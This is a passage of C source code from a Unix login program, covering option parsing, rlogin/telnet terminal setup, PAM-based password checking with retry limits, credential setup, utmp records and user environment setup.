| 1170 | retry = atoi(ptr); | ||
| 1171 | |||
| 1172 | (void) defopen((char *)NULL); | ||
| 1173 | } | ||
| 1174 | } | ||
| 1175 | |||
| 1176 | |||
| 1177 | /* | ||
| 1178 | * get_options(argc, argv) | ||
| 1179 | * - parse the cmd line. | ||
| 1180 | * - return 0 if successful, -1 if failed. | ||
| 1181 | * Calls login_exit() on misuse of -r and -h flags | ||
| 1182 | */ | ||
| 1183 | |||
| 1184 | static int | ||
| 1185 | get_options(int argc, char *argv[]) | ||
| 1186 | { | ||
| 1187 | int c; | ||
| 1188 | int errflg = 0; | ||
| 1189 | |||
| 1190 | while ((c = getopt(argc, argv, "f:h:r:pad:")) != -1) { | ||
| 1191 | switch (c) { | ||
| 1192 | case 'a': | ||
| 1193 | break; | ||
| 1194 | |||
| 1195 | case 'd': | ||
| 1196 | /* | ||
| 1197 | * Must be root to pass in device name | ||
| 1198 | * otherwise we exit() as punishment for trying. | ||
| 1199 | */ | ||
| 1200 | if (getuid() != 0 || geteuid() != 0) { | ||
| 1201 | login_exit(1); /* sigh */ | ||
| 1202 | /*NOTREACHED*/ | ||
| 1203 | } | ||
| 1204 | ttyn = optarg; | ||
| 1205 | break; | ||
| 1206 | |||
| 1207 | case 'h': | ||
| 1208 | if (hflag || rflag) { | ||
| 1209 | (void) fprintf(stderr, | ||
| 1210 | "Only one of -r and -h allowed\n"); | ||
| 1211 | login_exit(1); | ||
| 1212 | } | ||
| 1213 | hflag++; | ||
| 1214 | SCPYN(remote_host, optarg); | ||
| 1215 | if (argv[optind]) { | ||
| 1216 | if (argv[optind][0] != '-') | ||
| 1217 | SCPYN(terminal, argv[optind]); | ||
| 1218 | optind++; | ||
| 1219 | } | ||
| 1220 | progname = "telnet"; | ||
| 1221 | break; | ||
| 1222 | |||
| 1223 | case 'r': | ||
| 1224 | if (hflag || rflag) { | ||
| 1225 | (void) fprintf(stderr, | ||
| 1226 | "Only one of -r and -h allowed\n"); | ||
| 1227 | login_exit(1); | ||
| 1228 | } | ||
| 1229 | rflag++; | ||
| 1230 | SCPYN(remote_host, optarg); | ||
| 1231 | progname = "rlogin"; | ||
| 1232 | break; | ||
| 1233 | |||
| 1234 | case 'p': | ||
| 1235 | pflag++; | ||
| 1236 | break; | ||
| 1237 | |||
| 1238 | case 'f': | ||
| 1239 | /* | ||
| 1240 | * Must be root to bypass authentication | ||
| 1241 | * otherwise we exit() as punishment for trying. | ||
| 1242 | */ | ||
| 1243 | if (getuid() != 0 || geteuid() != 0) { | ||
| 1244 | login_exit(1); /* sigh */ | ||
| 1245 | /*NOTREACHED*/ | ||
| 1246 | } | ||
| 1247 | /* save fflag user name for future use */ | ||
| 1248 | SCPYN(user_name, optarg); | ||
| 1249 | fflag = 1; | ||
| 1250 | break; | ||
| 1251 | default: | ||
| 1252 | errflg++; | ||
| 1253 | break; | ||
| 1254 | } /* end switch */ | ||
| 1255 | } /* end while */ | ||
| 1256 | |||
| 1257 | /* | ||
| 1258 | * get the prompt set by ttymon | ||
| 1259 | */ | ||
| 1260 | ttyprompt = getenv("TTYPROMPT"); | ||
| 1261 | |||
| 1262 | if ((ttyprompt != NULL) && (*ttyprompt != '\0')) { | ||
| 1263 | /* | ||
| 1264 | * if ttyprompt is set, there should be data on | ||
| 1265 | * the stream already. | ||
| 1266 | */ | ||
| 1267 | if ((envp = getargs(inputline)) != (char **)NULL) { | ||
| 1268 | /* | ||
| 1269 | * don't get name if name passed as argument. | ||
| 1270 | */ | ||
| 1271 | SCPYN(user_name, *envp++); | ||
| 1272 | } | ||
| 1273 | } else if (optind < argc) { | ||
| 1274 | SCPYN(user_name, argv[optind]); | ||
| 1275 | (void) strcpy(inputline, user_name); | ||
| 1276 | (void) strcat(inputline, " \n"); | ||
| 1277 | envp = &argv[optind+1]; | ||
| 1278 | } | ||
| 1279 | |||
| 1280 | if (errflg) | ||
| 1281 | return (-1); | ||
| 1282 | return (0); | ||
| 1283 | } | ||
| 1284 | |||
| 1285 | /* | ||
| 1286 | * usage - Print usage message | ||
| 1287 | * | ||
| 1288 | */ | ||
| 1289 | |||
| 1290 | static void | ||
| 1291 | usage(void) | ||
| 1292 | { | ||
| 1293 | (void) fprintf(stderr, | ||
| 1294 | "Usage:\tlogin [-h|-r] [ name [ env-var ... ]]\n"); | ||
| 1295 | } | ||
| 1296 | |||
| 1297 | /* | ||
| 1298 | * *** Remote login support *** | ||
| 1299 | * | ||
| 1300 | */ | ||
| 1301 | |||
| 1302 | |||
| 1303 | /* | ||
| 1304 | * doremoteterm - Sets the appropriate ioctls for a remote terminal | ||
| 1305 | */ | ||
| 1306 | |||
| 1307 | static char *speeds[] = { | ||
| 1308 | "0", "50", "75", "110", "134", "150", "200", "300", | ||
| 1309 | "600", "1200", "1800", "2400", "4800", "9600", "19200", "38400", | ||
| 1310 | "57600", "76800", "115200", "153600", "230400", "307200", "460800" | ||
| 1311 | }; | ||
| 1312 | |||
| 1313 | #define NSPEEDS (sizeof (speeds) / sizeof (speeds[0])) | ||
| 1314 | |||
| 1315 | |||
| 1316 | static void | ||
| 1317 | doremoteterm(char *term) | ||
| 1318 | { | ||
| 1319 | struct termios tp; | ||
| 1320 | register char *cp = strchr(term, '/'), **cpp; | ||
| 1321 | char *speed; | ||
| 1322 | |||
| 1323 | (void) ioctl(0, TCGETS, &tp); | ||
| 1324 | |||
| 1325 | if (cp) { | ||
| 1326 | *cp++ = '\0'; | ||
| 1327 | speed = cp; | ||
| 1328 | cp = strchr(speed, '/'); | ||
| 1329 | |||
| 1330 | if (cp) | ||
| 1331 | *cp++ = '\0'; | ||
| 1332 | |||
| 1333 | for (cpp = speeds; cpp < &speeds[NSPEEDS]; cpp++) | ||
| 1334 | if (strcmp(*cpp, speed) == 0) { | ||
| 1335 | cfsetospeed(&tp, cpp-speeds); | ||
| 1336 | break; | ||
| 1337 | } | ||
| 1338 | } | ||
| 1339 | |||
| 1340 | tp.c_lflag |= ECHO|ICANON; | ||
| 1341 | tp.c_iflag |= IGNPAR|ICRNL; | ||
| 1342 | |||
| 1343 | (void) ioctl(0, TCSETS, &tp); | ||
| 1344 | |||
| 1345 | } | ||
| 1346 | |||
| 1347 | |||
| 1348 | /* | ||
| 1349 | * Process_rlogin - Does the work that rlogin and telnet | ||
| 1350 | * need done | ||
| 1351 | */ | ||
| 1352 | |||
| 1353 | static void | ||
| 1354 | process_rlogin(void) | ||
| 1355 | { | ||
| 1356 | |||
| 1357 | getstr(rusername, sizeof (rusername), "remuser"); | ||
| 1358 | getstr(lusername, sizeof (lusername), "locuser"); | ||
| 1359 | getstr(terminal, sizeof (terminal), "Terminal type"); | ||
| 1360 | |||
| 1361 | /* fflag has precedence over stuff passed by rlogind */ | ||
| 1362 | if (fflag || getuid()) { | ||
| 1363 | pwd = &nouser; | ||
| 1364 | doremoteterm(terminal); | ||
| 1365 | return; | ||
| 1366 | } else { | ||
| 1367 | if (pam_set_item(pamh, PAM_USER, lusername) != PAM_SUCCESS) | ||
| 1368 | login_exit(1); | ||
| 1369 | pwd = getpwnam(lusername); | ||
| 1370 | if (pwd == NULL) { | ||
| 1371 | pwd = &nouser; | ||
| 1372 | doremoteterm(terminal); | ||
| 1373 | return; | ||
| 1374 | } | ||
| 1375 | } | ||
| 1376 | |||
| 1377 | doremoteterm(terminal); | ||
| 1378 | |||
| 1379 | /* | ||
| 1380 | * Update PAM on the user name | ||
| 1381 | */ | ||
| 1382 | if (pam_set_item(pamh, PAM_USER, lusername) != PAM_SUCCESS) | ||
| 1383 | login_exit(1); | ||
| 1384 | |||
| 1385 | if (pam_set_item(pamh, PAM_RUSER, rusername) != PAM_SUCCESS) | ||
| 1386 | login_exit(1); | ||
| 1387 | |||
| 1388 | SCPYN(user_name, lusername); | ||
| 1389 | envp = &zero; | ||
| 1390 | lusername[0] = '\0'; | ||
| 1391 | } | ||
| 1392 | |||
| 1393 | /* | ||
| 1394 | * *** Account validation routines *** | ||
| 1395 | * | ||
| 1396 | */ | ||
| 1397 | |||
| 1398 | /* | ||
| 1399 | * validate_account - This is the PAM version of validate. | ||
| 1400 | */ | ||
| 1401 | |||
| 1402 | static void | ||
| 1403 | validate_account() | ||
| 1404 | { | ||
| 1405 | int error; | ||
| 1406 | int n; | ||
| 1407 | int flag; | ||
| 1408 | |||
| 1409 | (void) alarm(0); /* give user time to come up with password */ | ||
| 1410 | |||
| 1411 | check_log(); | ||
| 1412 | |||
| 1413 | if ((Passreq != NULL) && (!strcasecmp("YES", Passreq))) | ||
| 1414 | flag = PAM_DISALLOW_NULL_AUTHTOK; | ||
| 1415 | else | ||
| 1416 | flag = 0; | ||
| 1417 | |||
| 1418 | if ((error = pam_acct_mgmt(pamh, flag)) != PAM_SUCCESS) { | ||
| 1419 | if (error == PAM_NEW_AUTHTOK_REQD) { | ||
| 1420 | (void) printf("Choose a new password.\n"); | ||
| 1421 | |||
| 1422 | if ((error = pam_chauthtok(pamh, 0)) != PAM_SUCCESS) { | ||
| 1423 | if (dosyslog) | ||
| 1424 | syslog(LOG_CRIT, | ||
| 1425 | "change password failure: %s", | ||
| 1426 | pam_strerror(pamh, error)); | ||
| 1427 | login_exit(1); | ||
| 1428 | } | ||
| 1429 | } else { | ||
| 1430 | (void) printf(incorrectmsg); | ||
| 1431 | if (dosyslog) | ||
| 1432 | syslog(LOG_CRIT, | ||
| 1433 | "login account failure: %s", | ||
| 1434 | pam_strerror(pamh, error)); | ||
| 1435 | login_exit(1); | ||
| 1436 | } | ||
| 1437 | } | ||
| 1438 | } | ||
| 1439 | |||
| 1440 | /* | ||
| 1441 | * Check_log - This is really a hack because PAM checks the log, but login | ||
| 1442 | * wants to know if the log is okay and PAM doesn't have | ||
| 1443 | * a module independent way of handing this info back. | ||
| 1444 | */ | ||
| 1445 | |||
| 1446 | static void | ||
| 1447 | check_log(void) | ||
| 1448 | { | ||
| 1449 | int fdl; | ||
| 1450 | long long offset; | ||
| 1451 | |||
| 1452 | offset = (long long) pwd->pw_uid * (long long) sizeof (struct lastlog); | ||
| 1453 | |||
| 1454 | if ((fdl = open(LASTLOG, O_RDWR|O_CREAT, 0444)) >= 0) { | ||
| 1455 | if (llseek(fdl, offset, SEEK_SET) == offset && | ||
| 1456 | read(fdl, (char *)&ll, sizeof (ll)) == sizeof (ll) && | ||
| 1457 | ll.ll_time != 0) | ||
| 1458 | lastlogok = 1; | ||
| 1459 | (void) close(fdl); | ||
| 1460 | } | ||
| 1461 | } | ||
| 1462 | |||
| 1463 | |||
| 1464 | /* | ||
| 1465 | * chdir_to_dir_root - Attempts to chdir us to the home directory. | ||
| 1466 | * defaults to "/" if it can't cd to the home | ||
| 1467 | * directory, and returns ERROR if it can't do that. | ||
| 1468 | */ | ||
| 1469 | |||
| 1470 | static int | ||
| 1471 | chdir_to_dir_root(void) | ||
| 1472 | { | ||
| 1473 | if (chdir(pwd->pw_dir) < 0) { | ||
| 1474 | if (chdir("/") < 0) { | ||
| 1475 | (void) printf("No directory!\n"); | ||
| 1476 | return (ERROR); | ||
| 1477 | } | ||
| 1478 | } | ||
| 1479 | |||
| 1480 | return (OK); | ||
| 1481 | } | ||
| 1482 | |||
| 1483 | |||
| 1484 | /* | ||
| 1485 | * chdir_to_dir_user - Now chdir after setuid/setgid have happened to | ||
| 1486 | * place us in the user's home directory just in | ||
| 1487 | * case it was protected and the first chdir failed. | ||
| 1488 | * No chdir errors should happen at this point because | ||
| 1489 | * all failures should have happened on the first | ||
| 1490 | * time around. | ||
| 1491 | */ | ||
| 1492 | |||
| 1493 | static void | ||
| 1494 | chdir_to_dir_user(void) | ||
| 1495 | { | ||
| 1496 | if (chdir(pwd->pw_dir) < 0) { | ||
| 1497 | if (chdir("/") < 0) { | ||
| 1498 | (void) printf("No directory!\n"); | ||
| 1499 | /* | ||
| 1500 | * This probably won't work since we can't get to /. | ||
| 1501 | */ | ||
| 1502 | if (remote_host[0] && dosyslog) { | ||
| 1503 | syslog(LOG_CRIT, | ||
| 1504 | "REPEATED LOGIN FAILURES ON %s FROM %.*s", | ||
| 1505 | ttyn, HMAX, remote_host); | ||
| 1506 | } else if (dosyslog) { | ||
| 1507 | syslog(LOG_CRIT, | ||
| 1508 | "REPEATED LOGIN FAILURES ON %s", ttyn); | ||
| 1509 | } | ||
| 1510 | closelog(); | ||
| 1511 | (void) sleep(DISABLETIME); | ||
| 1512 | exit(1); | ||
| 1513 | } else { | ||
| 1514 | (void) printf("No directory! Logging in with home=/\n"); | ||
| 1515 | pwd->pw_dir = "/"; | ||
| 1516 | } | ||
| 1517 | } | ||
| 1518 | } | ||
| 1519 | |||
| 1520 | |||
| 1521 | /* | ||
| 1522 | * login_authenticate - Performs the main authentication work | ||
| 1523 | * 1. Prints the login prompt | ||
| 1524 | * 2. Requests and verifys the password | ||
| 1525 | * 3. Checks the port password | ||
| 1526 | */ | ||
| 1527 | |||
| 1528 | static void | ||
| 1529 | login_authenticate() | ||
| 1530 | { | ||
| 1531 | int cnt = 1; | ||
| 1532 | char *user; | ||
| 1533 | int err; | ||
| 1534 | int login_successful = 0; | ||
| 1535 | |||
| 1536 | do { | ||
| 1537 | /* if scheme broken, then nothing to do but quit */ | ||
| 1538 | if (pam_get_item(pamh, PAM_USER, (void **)&user) | ||
| 1539 | != PAM_SUCCESS) | ||
| 1540 | exit(1); | ||
| 1541 | |||
| 1542 | /* | ||
| 1543 | * only get name from utility if it is not already | ||
| 1544 | * supplied by pam_start or a pam_set_item. | ||
| 1545 | */ | ||
| 1546 | if (!user || !user[0]) { | ||
| 1547 | /* use call back to get user name */ | ||
| 1548 | get_user_name(); | ||
| 1549 | } | ||
| 1550 | |||
| 1551 | err = verify_passwd(); | ||
| 1552 | |||
| 1553 | switch (err) { | ||
| 1554 | case PAM_MAXTRIES: | ||
| 1555 | cnt = retry; | ||
| 1556 | case PAM_AUTH_ERR: | ||
| 1557 | case PAM_AUTHINFO_UNAVAIL: | ||
| 1558 | case PAM_USER_UNKNOWN: | ||
| 1559 | audit_login_bad_pw(); | ||
| 1560 | log_bad_attempts(); | ||
| 1561 | break; | ||
| 1562 | case PAM_SUCCESS: | ||
| 1563 | case PAM_NEW_AUTHTOK_REQD: | ||
| 1564 | /* | ||
| 1565 | * pm_authenticate() shouldn't | ||
| 1566 | * return this but might do in | ||
| 1567 | * some cases. | ||
| 1568 | */ | ||
| 1569 | if (chdir_to_dir_root() == OK) { | ||
| 1570 | cnt = 0; | ||
| 1571 | login_successful = 1; | ||
| 1572 | } | ||
| 1573 | else | ||
| 1574 | audit_login_bad_pw(); | ||
| 1575 | break; | ||
| 1576 | case PAM_ABORT: | ||
| 1577 | audit_login_bad_pw(); | ||
| 1578 | log_bad_attempts(); | ||
| 1579 | (void) sleep(DISABLETIME); | ||
| 1580 | (void) printf(incorrectmsg); | ||
| 1581 | login_exit(1); | ||
| 1582 | /*NOTREACHED*/ | ||
| 1583 | default: /* Some other PAM error */ | ||
| 1584 | login_exit(1); | ||
| 1585 | /*NOTREACHED*/ | ||
| 1586 | } | ||
| 1587 | |||
| 1588 | if (login_successful) | ||
| 1589 | break; | ||
| 1590 | |||
| 1591 | /* only sleep after first bad passwd */ | ||
| 1592 | if (cnt) | ||
| 1593 | (void) sleep(Sleeptime); | ||
| 1594 | (void) printf(incorrectmsg); | ||
| 1595 | user_name[0] = '\0'; /* is this needed? */ | ||
| 1596 | /* force name to be null in this case */ | ||
| 1597 | if (pam_set_item(pamh, PAM_USER, NULL) != PAM_SUCCESS) | ||
| 1598 | login_exit(1); | ||
| 1599 | if (pam_set_item(pamh, PAM_RUSER, NULL) != PAM_SUCCESS) | ||
| 1600 | login_exit(1); | ||
| 1601 | } while (cnt++ < retry); | ||
| 1602 | |||
| 1603 | if (cnt >= retry) { | ||
| 1604 | audit_login_maxtrys(); | ||
| 1605 | /* | ||
| 1606 | * If logging is turned on, output the | ||
| 1607 | * string storage area to the log file, | ||
| 1608 | * and sleep for DISABLETIME | ||
| 1609 | * seconds before exiting. | ||
| 1610 | */ | ||
| 1611 | if (writelog) | ||
| 1612 | badlogin(); | ||
| 1613 | if (remote_host[0] && dosyslog) { | ||
| 1614 | syslog(LOG_CRIT, | ||
| 1615 | "REPEATED LOGIN FAILURES ON %s FROM %.*s", | ||
| 1616 | ttyn, HMAX, remote_host); | ||
| 1617 | } else if (dosyslog) { | ||
| 1618 | syslog(LOG_CRIT, | ||
| 1619 | "REPEATED LOGIN FAILURES ON %s", ttyn); | ||
| 1620 | } | ||
| 1621 | (void) sleep(DISABLETIME); | ||
| 1622 | exit(1); | ||
| 1623 | } | ||
| 1624 | |||
| 1625 | } | ||
| 1626 | |||
| 1627 | /* | ||
| 1628 | * *** Credential Related routines *** | ||
| 1629 | * | ||
| 1630 | */ | ||
| 1631 | |||
| 1632 | /* | ||
| 1633 | * setup_credentials - sets the group ID, initializes the groups | ||
| 1634 | * and sets up the secretkey. | ||
| 1635 | * Exits if a failure occurrs. | ||
| 1636 | */ | ||
| 1637 | |||
| 1638 | |||
| 1639 | /* | ||
| 1640 | * setup_credentials - PAM does all the work for us on this one. | ||
| 1641 | */ | ||
| 1642 | |||
| 1643 | static void | ||
| 1644 | setup_credentials(void) | ||
| 1645 | { | ||
| 1646 | int error = 0; | ||
| 1647 | int flags; | ||
| 1648 | |||
| 1649 | /* set the real (and effective) GID */ | ||
| 1650 | if (setgid(pwd->pw_gid) == -1) { | ||
| 1651 | login_exit(1); | ||
| 1652 | } | ||
| 1653 | |||
| 1654 | /* | ||
| 1655 | * Initialize the supplementary group access list. | ||
| 1656 | */ | ||
| 1657 | if (!user_name) | ||
| 1658 | login_exit(1); | ||
| 1659 | if (initgroups(user_name, pwd->pw_gid) == -1) { | ||
| 1660 | login_exit(1); | ||
| 1661 | } | ||
| 1662 | |||
| 1663 | /* XXX really should be after setgid */ | ||
| 1664 | if ((error = pam_setcred(pamh, PAM_ESTABLISH_CRED)) != PAM_SUCCESS) { | ||
| 1665 | login_exit(error); | ||
| 1666 | } | ||
| 1667 | |||
| 1668 | /* set the real (and effective) UID */ | ||
| 1669 | if (setuid(pwd->pw_uid) == -1) { | ||
| 1670 | login_exit(1); | ||
| 1671 | } | ||
| 1672 | |||
| 1673 | } | ||
| 1674 | |||
| 1675 | /* | ||
| 1676 | * | ||
| 1677 | * *** Routines to get a new user set up and running *** | ||
| 1678 | * | ||
| 1679 | * Things to do when starting up a new user: | ||
| 1680 | * adjust_nice | ||
| 1681 | * update_utmp_entry | ||
| 1682 | * establish_user_environment | ||
| 1683 | * print_banner | ||
| 1684 | * display_last_login_time | ||
| 1685 | * exec_the_shell | ||
| 1686 | * | ||
| 1687 | */ | ||
| 1688 | |||
| 1689 | |||
| 1690 | /* | ||
| 1691 | * adjust_nice - Set the nice (process priority) value if the | ||
| 1692 | * gecos value contains an appropriate value. | ||
| 1693 | */ | ||
| 1694 | |||
| 1695 | static void | ||
| 1696 | adjust_nice(void) | ||
| 1697 | { | ||
| 1698 | int pri, mflg, i; | ||
| 1699 | |||
| 1700 | if (strncmp("pri=", pwd->pw_gecos, 4) == 0) { | ||
| 1701 | pri = 0; | ||
| 1702 | mflg = 0; | ||
| 1703 | i = 4; | ||
| 1704 | |||
| 1705 | if (pwd->pw_gecos[i] == '-') { | ||
| 1706 | mflg++; | ||
| 1707 | i++; | ||
| 1708 | } | ||
| 1709 | |||
| 1710 | while (pwd->pw_gecos[i] >= '0' && pwd->pw_gecos[i] <= '9') | ||
| 1711 | pri = (pri * 10) + pwd->pw_gecos[i++] - '0'; | ||
| 1712 | |||
| 1713 | if (mflg) | ||
| 1714 | pri = -pri; | ||
| 1715 | |||
| 1716 | (void) nice(pri); | ||
| 1717 | } | ||
| 1718 | } | ||
| 1719 | |||
| 1720 | /* | ||
| 1721 | * update_utmp_entry - Searchs for the correct utmp entry, making an | ||
| 1722 | * entry there if it finds one, otherwise exits. | ||
| 1723 | */ | ||
| 1724 | |||
| 1725 | static void | ||
| 1726 | update_utmp_entry(int sublogin) | ||
| 1727 | { | ||
| 1728 | char *user; | ||
| 1729 | int error; | ||
| 1730 | static char *errmsg = "No utmpx entry. " | ||
| 1731 | "You must exec \"login\" from the lowest level \"shell\"."; | ||
| 1732 | int tmplen; | ||
| 1733 | struct utmpx *u = (struct utmpx *)0; | ||
| 1734 | struct utmpx utmp; | ||
| 1735 | char *ttyntail; | ||
| 1736 | |||
| 1737 | |||
| 1738 | /* | ||
| 1739 | * If we're not a sublogin then | ||
| 1740 | * we'll get an error back if our PID doesn't match the PID of the | ||
| 1741 | * entry we are updating, otherwise if its a sublogin the flags | ||
| 1742 | * field is set to 0, which means we just write a matching entry | ||
| 1743 | * (without checking the pid), or a new entry if an entry doesn't | ||
| 1744 | * exist. | ||
| 1745 | */ | ||
| 1746 | |||
| 1747 | if (error = pam_open_session(pamh, 0) != PAM_SUCCESS) { | ||
| 1748 | login_exit(1); | ||
| 1749 | } | ||
| 1750 | |||
| 1751 | if ((error = pam_get_item(pamh, PAM_USER, (void **) &user)) | ||
| 1752 | != PAM_SUCCESS) { | ||
| 1753 | login_exit(1); | ||
| 1754 | } | ||
| 1755 | |||
| 1756 | (void) memset((void *)&utmp, 0, sizeof (utmp)); | ||
| 1757 | (void) time(&utmp.ut_tv.tv_sec); | ||
| 1758 | utmp.ut_pid = getpid(); | ||
| 1759 | |||
| 1760 | if (rflag || hflag) { | ||
| 1761 | SCPYN(utmp.ut_host, remote_host); | ||
| 1762 | tmplen = strlen(remote_host) + 1; | ||
| 1763 | if (tmplen < sizeof (utmp.ut_host)) | ||
| 1764 | utmp.ut_syslen = tmplen; | ||
| 1765 | else | ||
| 1766 | utmp.ut_syslen = sizeof (utmp.ut_host); | ||
| 1767 | } else { | ||
| 1768 | utmp.ut_syslen = 0; | ||
| 1769 | } | ||
| 1770 | |||
| 1771 | SCPYN(utmp.ut_user, user); | ||
| 1772 | |||
| 1773 | /* skip over "/dev/" */ | ||
| 1774 | ttyntail = basename(ttyn); | ||
| 1775 | |||
| 1776 | while ((u = getutxent()) != NULL) { | ||
| 1777 | if ((u->ut_type == INIT_PROCESS || | ||
| 1778 | u->ut_type == LOGIN_PROCESS || | ||
| 1779 | u->ut_type == USER_PROCESS) && | ||
| 1780 | ((sublogin && strncmp(u->ut_line, ttyntail, | ||
| 1781 | sizeof (u->ut_line)) == 0) || | ||
| 1782 | u->ut_pid == utmp.ut_pid)) { | ||
| 1783 | SCPYN(utmp.ut_line, (ttyn+sizeof ("/dev/")-1)); | ||
| 1784 | (void) memcpy(utmp.ut_id, u->ut_id, | ||
| 1785 | sizeof (utmp.ut_id)); | ||
| 1786 | utmp.ut_type = USER_PROCESS; | ||
| 1787 | pututxline(&utmp); | ||
| 1788 | break; | ||
| 1789 | } | ||
| 1790 | } | ||
| 1791 | endutxent(); | ||
| 1792 | |||
| 1793 | if (u == (struct utmpx *)NULL) { | ||
| 1794 | if (!sublogin) { | ||
| 1795 | /* | ||
| 1796 | * no utmp entry already setup | ||
| 1797 | * (init or rlogind/telnetd) | ||
| 1798 | */ | ||
| 1799 | (void) puts(errmsg); | ||
| 1800 | login_exit(1); | ||
| 1801 | } | ||
| 1802 | } else { | ||
| 1803 | /* Now attempt to write out this entry to the wtmp file if */ | ||
| 1804 | /* we were successful in getting it from the utmp file and */ | ||
| 1805 | /* the wtmp file exists. */ | ||
| 1806 | updwtmpx(WTMPX_FILE, &utmp); | ||
| 1807 | } | ||
| 1808 | } | ||
| 1809 | |||
| 1810 | |||
| 1811 | |||
| 1812 | /* | ||
| 1813 | * process_chroot_logins - Chroots to the specified subdirectory and | ||
| 1814 | * re executes login. | ||
| 1815 | */ | ||
| 1816 | |||
| 1817 | static int | ||
| 1818 | process_chroot_logins(void) | ||
| 1819 | { | ||
| 1820 | /* | ||
| 1821 | * If the shell field starts with a '*', do a chroot to the home | ||
| 1822 | * directory and perform a new login. | ||
| 1823 | */ | ||
| 1824 | |||
| 1825 | if (*pwd->pw_shell == '*') { | ||
| 1826 | pam_end(pamh, PAM_SUCCESS); /* Done using PAM */ | ||
| 1827 | if (chroot(pwd->pw_dir) < 0) { | ||
| 1828 | (void) printf("No Root Directory\n"); | ||
| 1829 | return (ERROR); | ||
| 1830 | } | ||
| 1831 | /* | ||
| 1832 | * Set the environment flag <!sublogin> so that the next login | ||
| 1833 | * knows that it is a sublogin. | ||
| 1834 | */ | ||
| 1835 | envinit[0] = SUBLOGIN; | ||
| 1836 | envinit[1] = (char *)NULL; | ||
| 1837 | (void) printf("Subsystem root: %s\n", pwd->pw_dir); | ||
| 1838 | (void) execle("/usr/bin/login", "login", (char *)0, | ||
| 1839 | &envinit[0]); | ||
| 1840 | (void) execle("/etc/login", "login", (char *)0, &envinit[0]); | ||
| 1841 | (void) printf("No /usr/bin/login or /etc/login on root\n"); | ||
| 1842 | login_exit(1); | ||
| 1843 | } | ||
| 1844 | return (OK); | ||
| 1845 | } | ||
| 1846 | |||
| 1847 | /* | ||
| 1848 | * establish_user_environment - Set up the new users enviornment | ||
| 1849 | */ | ||
| 1850 | |||
| 1851 | static void | ||
| 1852 | establish_user_environment(char **renvp) | ||
| 1853 | { | ||
| 1854 | int i, j, k, l_index, length, idx = 0; | ||
| 1855 | char *ptr; | ||
| 1856 | char *endptr; | ||
| 1857 | char **lenvp; | ||
| 1858 | char **pam_env; | ||
| 1859 | |||
| 1860 | lenvp = environ; | ||
| 1861 | while (*lenvp++) | ||
| 1862 | ; | ||
| 1863 | |||
| 1864 | /* count the number of PAM environment variables set by modules */ | ||
| 1865 | if ((pam_env = pam_getenvlist(pamh)) != 0) { | ||
| 1866 | for (idx = 1; pam_env[idx] != 0; idx++) | ||
| 1867 | ; | ||
| 1868 | } | ||
| 1869 | |||
| 1870 | envinit = (char **) calloc(lenvp - environ + 10 | ||
| 1871 | + MAXARGS + idx, sizeof (char *)); | ||
| 1872 | if (envinit == NULL) { | ||
| 1873 | (void) printf("Calloc failed - out of swap space.\n"); | ||
| 1874 | login_exit(8); | ||
| 1875 | } | ||
| 1876 | |||
| 1877 | /* | ||
| 1878 | * add PAM environment variables first so they | ||
| 1879 | * can be overwritten at login's discretion. | ||
| 1880 | * check for illegal environment variables. | ||
| 1881 | */ | ||
| 1882 | idx = 0; basicenv = 0; | ||
| 1883 | if (pam_env != 0) { | ||
| 1884 | while (pam_env[idx] != 0) { | ||
| 1885 | if (legalenvvar(pam_env[idx])) { | ||
| 1886 | envinit[basicenv] = pam_env[idx]; | ||
| 1887 | basicenv++; | ||
| 1888 | } | ||
| 1889 | idx++; | ||
| 1890 | } | ||
| 1891 | } | ||
| 1892 | memcpy(&envinit[basicenv], newenv, sizeof (newenv)); | ||
| 1893 | |||
| 1894 | /* Set up environment */ | ||
| 1895 | if (rflag) { | ||
| 1896 | ENVSTRNCAT(term, terminal); | ||
| 1897 | } else if (hflag) { | ||
| 1898 | if (strlen(terminal)) { | ||
| 1899 | ENVSTRNCAT(term, terminal); | ||
| 1900 | } | ||
| 1901 | } else { | ||
| 1902 | char *tp = getenv("TERM"); | ||
| 1903 | |||
| 1904 | if ((tp != NULL) && (*tp != '\0')) | ||
| 1905 | ENVSTRNCAT(term, tp); | ||
| 1906 | } | ||
| 1907 | |||
| 1908 | ENVSTRNCAT(logname, pwd->pw_name); | ||
| 1909 | |||
| 1910 | /* | ||
| 1911 | * There are three places to get timezone info. init.c sets | ||
| 1912 | * TZ if the file /etc/TIMEZONE contains a value for TZ. | ||
| 1913 | * login.c looks in the file /etc/default/login for a | ||
| 1914 | * variable called TIMEZONE being set. If TIMEZONE has a | ||
| 1915 | * value, TZ is set to that value; no environment variable | ||
| 1916 | * TIMEZONE is set, only TZ. If neither of these methods | ||
| 1917 | * work to set TZ, then the library routines will default | ||
| 1918 | * to using the file /usr/lib/locale/TZ/localtime. | ||
| 1919 | * | ||
| 1920 | * There is a priority set up here. If /etc/TIMEZONE has | ||
| 1921 | * a value for TZ, that value remains top priority. If the | ||
| 1922 | * file /etc/default/login has TIMEZONE set, that has second | ||
| 1923 | * highest priority not overriding the value of TZ in | ||
| 1924 | * /etc/TIMEZONE. The reason for this priority is that the | ||
| 1925 | * file /etc/TIMEZONE is supposed to be sourced by | ||
| 1926 | * /etc/profile. We are doing the "sourcing" prematurely in | ||
| 1927 | * init.c. Additionally, a login C shell doesn't source the | ||
| 1928 | * file /etc/profile thus not sourcing /etc/TIMEZONE thus not | ||
| 1929 | * allowing an adminstrator to globally set TZ for all users | ||
| 1930 | */ | ||
| 1931 | if (Def_tz != NULL) /* Is there a TZ from defaults/login? */ | ||
| 1932 | tmp_tz = Def_tz; | ||
| 1933 | |||
| 1934 | if ((Def_tz = getenv("TZ")) != NULL) { | ||
| 1935 | ENVSTRNCAT(timez, Def_tz); | ||
| 1936 | } else if (tmp_tz != NULL) { | ||
| 1937 | Def_tz = tmp_tz; | ||
| 1938 | ENVSTRNCAT(timez, Def_tz); | ||
| 1939 | } | ||
| 1940 | |||
| 1941 | if (Def_hertz == NULL) | ||
| 1942 | (void) sprintf(hertz + strlen(hertz), "%u", HZ); | ||
| 1943 | else | ||
| 1944 | ENVSTRNCAT(hertz, Def_hertz); | ||
| 1945 | |||
| 1946 | if (Def_path == NULL) | ||
| 1947 | (void) strcat(path, DEF_PATH); | ||
| 1948 | else | ||
| 1949 | ENVSTRNCAT(path, Def_path); | ||
| 1950 | |||
| 1951 | ENVSTRNCAT(home, pwd->pw_dir); | ||
| 1952 | |||
| 1953 | /* | ||
| 1954 | * Find the end of the basic environment | ||
| 1955 | */ | ||
| 1956 | for (basicenv = 0; envinit[basicenv] != NULL; basicenv++) | ||
| 1957 | ; | ||
| 1958 | |||
| 1959 | /* | ||
| 1960 | * If TZ has a value, add it. | ||
